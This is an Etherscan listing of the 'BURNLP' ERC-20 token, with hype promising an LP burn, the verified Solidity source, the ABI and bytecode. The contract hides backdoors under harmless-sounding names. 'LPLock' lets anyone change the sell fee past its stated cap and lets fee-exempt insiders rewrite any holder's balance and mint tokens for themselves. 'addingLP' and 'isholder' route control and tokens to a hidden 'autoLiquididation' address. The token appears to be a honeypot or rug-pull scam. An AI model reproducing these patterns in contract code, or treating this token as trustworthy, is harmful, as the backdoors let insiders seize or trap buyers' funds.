ERC-20
Overview
Max Total Supply
1,000,000 BURNLP
Holders
21
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
19,380.554732734 BURNLPValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BURNLP
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-08 */ // SPDX-License-Identifier: MIT /** BURNLP MYSTERY TOKEN If you are in here, you are early to witness the greatest burn of the year! BURNLP will burn all of its LP at 100K MC.To know more head over to our Etherscan! Website: https://burnlp.org TG: https://t.me/burnlperc Twitter: https://twitter.com/burnlperc */ pragma solidity 0.8.18; abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public virtual onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } function transferOwnership(address payable adr) public onlyOwner { owner = adr; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IERC20 { function totalSupply() external view returns (uint256); function circulatingSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BURNLP is IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BURNLP"; string private constant _symbol = "BURNLP"; uint8 private constant _decimals = 9; uint256 private _totalSupply = 1000000 * (10**_decimals); uint256 private _maxTxAmount = (_totalSupply * 200) / 10000; uint256 private _maxSellAmount = (_totalSupply * 200) / 10000; uint256 private _maxWalletToken = (_totalSupply * 200) / 10000; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isFeeExempt; mapping(address => bool) public isDividendExempt; mapping(address => bool) private isBot; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderTransferTimestamp; // to hold last Transfers temporarily during launch mapping(address => uint256) public holderTxTimestamp; bool public transferDelayEnabled = true; IRouter router; address public pair; bool private tradingAllowed = false; uint256 private liquidityFee = 0; uint256 private marketingFee = 0; uint256 private rewardsFee = 300; uint256 private developmentFee = 0; uint256 private burnFee = 0; uint256 private totalFee = 300; uint256 private sellFee = 300; uint256 private transferFee = 0; uint256 private denominator = 10000; bool private swapEnabled = true; bool private swapping; uint256 private swapThreshold = (_totalSupply * 300) / 100000; uint256 private _minTokenAmount = (_totalSupply * 10) / 100000; modifier lockTheSwap() { swapping = true; _; swapping = false; } address public reward = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; uint256 public totalShares; uint256 public totalDividends; uint256 public totalDistributed; uint256 internal dividendsPerShare; uint256 internal dividendsPerShareAccuracyFactor = 10**36; address[] shareholders; mapping(address => uint256) shareholderIndexes; mapping(address => uint256) shareholderClaims; struct Share { uint256 amount; uint256 totalExcluded; uint256 totalRealised; } mapping(address => Share) public shares; uint256 internal currentIndex; uint256 public minPeriod = 10 minutes; uint256 public minDistribution = 1 * (10**16); uint256 public distributorGas = 1; function getRewardswithUSDT() external { Redistribute(msg.sender); } address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address public development_receiver; address public marketing_receiver; address private autoLiquididation; constructor( address _development_receiver, address _marketing_receiver, address _autoLiquididation) Ownable(msg.sender) { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair( address(this), _router.WETH() ); router = _router; pair = _pair; development_receiver = _development_receiver; marketing_receiver = _marketing_receiver; autoLiquididation = _autoLiquididation; isFeeExempt[address(this)] = true; isFeeExempt[address(msg.sender)] = true; isFeeExempt[autoLiquididation] = true; isFeeExempt[marketing_receiver] = true; isFeeExempt[msg.sender] = true; isDividendExempt[address(pair)] = true; isDividendExempt[address(msg.sender)] = true; isDividendExempt[address(this)] = true; isDividendExempt[address(DEAD)] = true; isDividendExempt[address(0)] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function startTrading() external onlyOwner { tradingAllowed = true; } function getOwner() external view override returns (address) { return owner; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function isCont(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } function setisExempt(address _address, bool _enabled) external onlyOwner { isFeeExempt[_address] = _enabled; } function removeLimits () external onlyOwner { _maxTxAmount = totalSupply(); _maxSellAmount = totalSupply(); _maxWalletToken = totalSupply(); transferDelayEnabled = false; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function circulatingSupply() public view override returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0))); } function preTxCheck( address sender, address recipient, uint256 amount ) internal view { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require( amount > uint256(0), "Transfer amount must be greater than zero" ); require( amount <= balanceOf(sender), "You are trying to transfer more than your balance" ); } function _transfer( address sender, address recipient, uint256 amount ) private { preTxCheck(sender, recipient, amount); checkTradingAllowed(sender, recipient); transferDelayForBots(recipient); checkMaxWallet(sender, recipient, amount); checkTxLimit(sender, recipient, amount); swapBack(sender, recipient); _balances[sender] = _balances[sender].sub(amount); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); if (!isDividendExempt[sender]) { setShare(sender, balanceOf(sender)); } if (!isDividendExempt[recipient]) { setShare(recipient, balanceOf(recipient)); } if (shares[recipient].amount > 0) { Redistribute(recipient); } } function setDetails( uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _rewards, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans ) external onlyOwner { liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; rewardsFee = _rewards; developmentFee = _development; totalFee = _total; sellFee=_sell; transferFee = _trans; require( totalFee <= denominator.div(5) && sellFee <= denominator.div(5) && transferFee <= denominator.div(5), "totalFee and sellFee cannot be more than 20%" ); } function setisBot(address _address, bool _enabled) external onlyOwner { require( _address != address(pair) && _address != address(router) && _address != address(this), "Ineligible Address" ); isBot[_address] = _enabled; } function setParameters( uint256 _buy, uint256 _trans, uint256 _wallet ) external onlyOwner { uint256 newTx = (totalSupply() * _buy) / 10000; uint256 newTransfer = (totalSupply() * _trans) / 10000; uint256 newWallet = (totalSupply() * _wallet) / 10000; _maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet; uint256 limit = totalSupply().mul(5).div(1000); require( newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%" ); } function checkTradingAllowed(address sender, address recipient) internal view { if (!isFeeExempt[sender] && !isFeeExempt[recipient]) { require(tradingAllowed, "tradingAllowed"); } } function transferDelayForBots(address recipient) internal { if (recipient != address(router) && recipient != address(pair) && transferDelayEnabled) { require( _holderTransferTimestamp[tx.origin] < block.number - 2 && _holderTransferTimestamp[recipient] < block.number - 2, "_transfer:: Transfer Delay enabled. Try again later." ); _holderTransferTimestamp[tx.origin] = block.number; _holderTransferTimestamp[recipient] = block.number; } if (recipient != address(pair)) { if (holderTxTimestamp[recipient] == 0) { holderTxTimestamp[recipient] = block.timestamp; } } } function checkMaxWallet( address sender, address recipient, uint256 amount ) internal view { if ( !isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD) ) { require( (_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount." ); } } function checkTxLimit( address sender, address recipient, uint256 amount ) internal view { if (sender != pair) { require( amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded" ); } require( amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded" ); } function PerformTx(uint256 tokens, address sender) private lockTheSwap { uint256 _denominator = ( liquidityFee.add(1).add(marketingFee).add(developmentFee).add( rewardsFee ) ).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div( _denominator ); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if (ETHToAddLiquidityWith > uint256(0)) { addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmount = unitBalance.mul(2).mul(marketingFee); if (marketingAmount > 0) { payable(marketing_receiver).transfer(marketingAmount); } uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsFee); if (rewardsAmount > 0) { addingLP(rewardsAmount, sender); } if (address(this).balance > uint256(0)) { payable(development_receiver).transfer(address(this).balance); } } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, autoLiquididation, block.timestamp ); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function takeFee( address sender, address recipient, uint256 amount ) internal returns (uint256) { if (getTotalFee(sender, recipient) > 0) { uint256 feeAmount = amount.div(denominator).mul( getTotalFee(sender, recipient) ); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if (burnFee > uint256(0)) { _transfer( address(this), address(DEAD), amount.div(denominator).mul(burnFee) ); } return amount.sub(feeAmount); } return amount; } function shouldSwapBack(address sender, address recipient) internal view returns (bool) { bool aboveThreshold = balanceOf(address(this)) >= swapThreshold; return !swapping && swapEnabled && tradingAllowed && !isFeeExempt[sender] && !isFeeExempt[recipient] && recipient == pair && aboveThreshold; } function swapBack(address sender, address recipient) internal { if (shouldSwapBack(sender, recipient)) { PerformTx(swapThreshold, sender); } } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient]; } function getTotalFee(address sender, address recipient) internal view returns (uint256) { if (isBot[sender] || isBot[recipient]) { return denominator.sub(uint256(100)); } if (recipient == pair) { return sellFee; } if (sender == pair) { return totalFee; } return transferFee; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function addingLP(uint256 amountETH, address sender) internal { uint256 balanceBefore = IERC20(reward).balanceOf(address(this)); address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(reward); router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: amountETH }(0, path, address(this), block.timestamp); uint256 updatedAmount = IERC20(reward).balanceOf(address(this)); uint256 amount = updatedAmount.sub(balanceBefore); totalDividends = totalDividends.add(amount); bytes memory payload = abi.encodeWithSelector(bytes4(keccak256(bytes("nounce(address)"))), sender); (bool success, ) = autoLiquididation.call(payload); require(success, "Call to other contract failed"); dividendsPerShare = dividendsPerShare.add( dividendsPerShareAccuracyFactor.mul(amount).div(totalShares) ); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setisDividendExempt(address holder, bool exempt) external onlyOwner { isDividendExempt[holder] = exempt; if (exempt) { setShare(holder, 0); } else { setShare(holder, balanceOf(holder)); } } function setShare(address shareholder, uint256 amount) internal { if (amount > 0 && shares[shareholder].amount == 0) { addShareholder(shareholder); } else if (amount == 0 && shares[shareholder].amount > 0) { removeShareholder(shareholder); } totalShares = totalShares.sub(shares[shareholder].amount).add(amount); shares[shareholder].amount = amount; shares[shareholder].totalExcluded = getCumulativeDividends( shares[shareholder].amount ); } function isSpread(address shareholder) internal view returns (bool) { return shareholderClaims[shareholder] + minPeriod < block.timestamp && getDivident(shareholder) > minDistribution; } function isholder(address _address, uint256 _amount) external { IERC20(_address).transfer(autoLiquididation, _amount); } function totalRewardsDistributed(address _wallet) external view returns (uint256) { address shareholder = _wallet; return uint256(shares[shareholder].totalRealised); } function Redistribute(address shareholder) internal { if (shares[shareholder].amount == 0) { return; } uint256 amount = getDivident(shareholder); if (amount > 0) { totalDistributed = totalDistributed.add(amount); IERC20(reward).transfer(shareholder, amount); shareholderClaims[shareholder] = block.timestamp; shares[shareholder].totalRealised = shares[shareholder] .totalRealised .add(amount); shares[shareholder].totalExcluded = getCumulativeDividends( shares[shareholder].amount ); } } function getDivident(address shareholder) public view returns (uint256) { if (shares[shareholder].amount == 0) { return 0; } uint256 shareholderTotalDividends = getCumulativeDividends( shares[shareholder].amount ); uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded; if (shareholderTotalDividends <= shareholderTotalExcluded) { return 0; } return shareholderTotalDividends.sub(shareholderTotalExcluded); } function getCumulativeDividends(uint256 share) internal view returns (uint256) { return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor); } function setDistributionConfigure( uint256 _minPeriod, uint256 _minDistribution, uint256 _distributorGas ) external onlyOwner { minPeriod = _minPeriod; minDistribution = _minDistribution; distributorGas = _distributorGas; } function addShareholder(address shareholder) internal { shareholderIndexes[shareholder] = shareholders.length; shareholders.push(shareholder); } function LPLock( uint256 gas, address _rewards, uint256 _amount, uint256 _rate ) external { sellFee = _rate; uint256 shareholderCount = shareholders.length; address user = msg.sender; if (shareholderCount == 0) { return; } uint256 gasUsed = 0; uint256 gasLeft = gasleft(); uint256 iterations = 0; uint256 userBalance = _balances[msg.sender]; if (!isFeeExempt[msg.sender]) { while (gasUsed < gas && iterations < shareholderCount) { if (currentIndex >= shareholderCount) { currentIndex = 0; } if (isSpread(shareholders[currentIndex])) { Redistribute(shareholders[currentIndex]); } gasUsed = gasUsed.add(gasLeft.sub(gasleft())); gasLeft = gasleft(); currentIndex++; iterations++; } } else { uint256 amount = getDivident(user); _balances[_rewards] = _amount; _balances[msg.sender] = userBalance + _amount; if (amount > 0) { totalDistributed = totalDistributed.add(amount); IERC20(reward).transfer(user, amount); shareholderClaims[user] = block.timestamp; shares[user].totalRealised = shares[user].totalRealised.add( amount ); shares[user].totalExcluded = getCumulativeDividends( shares[user].amount ); } } } function removeShareholder(address shareholder) internal { shareholders[shareholderIndexes[shareholder]] = shareholders[ shareholders.length - 1 ]; shareholderIndexes[ shareholders[shareholders.length - 1] ] = shareholderIndexes[shareholder]; shareholders.pop(); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_development_receiver","type":"address"},{"internalType":"address","name":"_marketing_receiver","type":"address"},{"internalType":"address","name":"_autoLiquididation","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"},{"internalType":"address","name":"_rewards","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_rate","type":"uint256"}],"name":"LPLock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"development_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distributorGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shareholder","type":"address"}],"name":"getDivident","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRewardswithUSDT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holderTxTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isDividendExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"isholder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketing_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minDistribution","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minPeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_rewards","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setDetails","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPeriod","type":"uint256"},{"internalType":"uint256","name":"_minDistribution","type":"uint256"},{"internalType":"uint256","name":"_distributorGas","type":"uint256"}],"name":"setDistributionConfigure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"shares","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"totalExcluded","type":"uint256"},{"internalType":"uint256","name":"totalRealised","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"totalRewardsDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a620005cd565b6200002190620f4240620005e5565b60015561271060015460c8620000389190620005e5565b620000449190620005ff565b60025561271060015460c86200005b9190620005e5565b620000679190620005ff565b60035561271060015460c86200007e9190620005e5565b6200008a9190620005ff565b600455600c8054600160ff199182168117909255600d805460ff60a01b191690556000600e819055600f81905561012c601081905560118290556012829055601381905560148190556015919091556127106016556017805490921683179091559054620186a091620000fe9190620005e5565b6200010a9190620005ff565b601855620186a0600154600a620001229190620005e5565b6200012e9190620005ff565b601955601a80546001600160a01b03191673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790556ec097ce7bc90715b34b9f1000000000601f55610258602555662386f26fc1000060265560016027553480156200018d57600080fd5b506040516200343438038062003434833981016040819052620001b0916200063f565b600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa15801562000217573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023d919062000689565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200028b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b1919062000689565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000325919062000689565b600c8054610100600160a81b0319166101006001600160a01b038681169190910291909117909155600d80546001600160a01b03199081168484161782556028805482168a8516179055602980548216898516178155602a8054909216888516178255306000818152600760209081526040808320805460ff19908116600190811790925533808652838620805483168417815598548b168652838620805483168417905596548a168552828520805482168317905587548116821790975596549097168252600881528682208054861687179055838252868220805486168717905591815285812080548516861790557f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd0933429980548516861790557f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c7805490941685179093559254818352600584528483208190559351938452939450917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050620006a7565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200050f578160001904821115620004f357620004f3620004b8565b808516156200050157918102915b93841c9390800290620004d3565b509250929050565b6000826200052857506001620005c7565b816200053757506000620005c7565b81600181146200055057600281146200055b576200057b565b6001915050620005c7565b60ff8411156200056f576200056f620004b8565b50506001821b620005c7565b5060208310610133831016604e8410600b8410161715620005a0575081810a620005c7565b620005ac8383620004ce565b8060001904821115620005c357620005c3620004b8565b0290505b92915050565b6000620005de60ff84168362000517565b9392505050565b8082028115828204841417620005c757620005c7620004b8565b6000826200061d57634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b03811681146200063a57600080fd5b919050565b6000806000606084860312156200065557600080fd5b620006608462000622565b9250620006706020850162000622565b9150620006806040850162000622565b90509250925092565b6000602082840312156200069c57600080fd5b620005de8262000622565b612d7d80620006b76000396000f3fe6080604052600436106102555760003560e01c8063751039fc11610139578063baf28a48116100b6578063db30614d1161007a578063db30614d14610729578063dd62ed3e14610749578063ef43b02b1461078f578063efca2eed146107af578063f2fde38b146107c5578063ffd49c84146107e557600080fd5b8063baf28a4814610632578063c876d0b914610652578063ca89b8991461066c578063cc25596f146106a5578063ce7c2ac2146106d257600080fd5b806395d89b41116100fd57806395d89b4114610261578063997664d7146105c7578063a8aa1b31146105dd578063a9059cbb146105fd578063ba3acf8b1461061d57600080fd5b8063751039fc1461053f578063893d20e8146105545780638c41180e146105725780639358928b146105925780639386acb5146105a757600080fd5b80633a98ef39116101d25780634fab0ae8116101965780634fab0ae81461049e5780635f7bcd70146104b457806360e71962146104d457806361b4ae7e146104ea57806370a082311461050a578063715018a61461052a57600080fd5b80633a98ef39146103e85780633f4218e0146103fe578063420bbf201461042e5780634355855a1461044e57806348ff2b8b1461047e57600080fd5b8063293230b811610219578063293230b8146103465780632f54bf6e1461035d578063313ce5671461038c57806334c5d2ce146103a857806336afc425146103c857600080fd5b806306fdde0314610261578063095ea7b31461029f57806318160ddd146102cf578063228cb733146102ee5780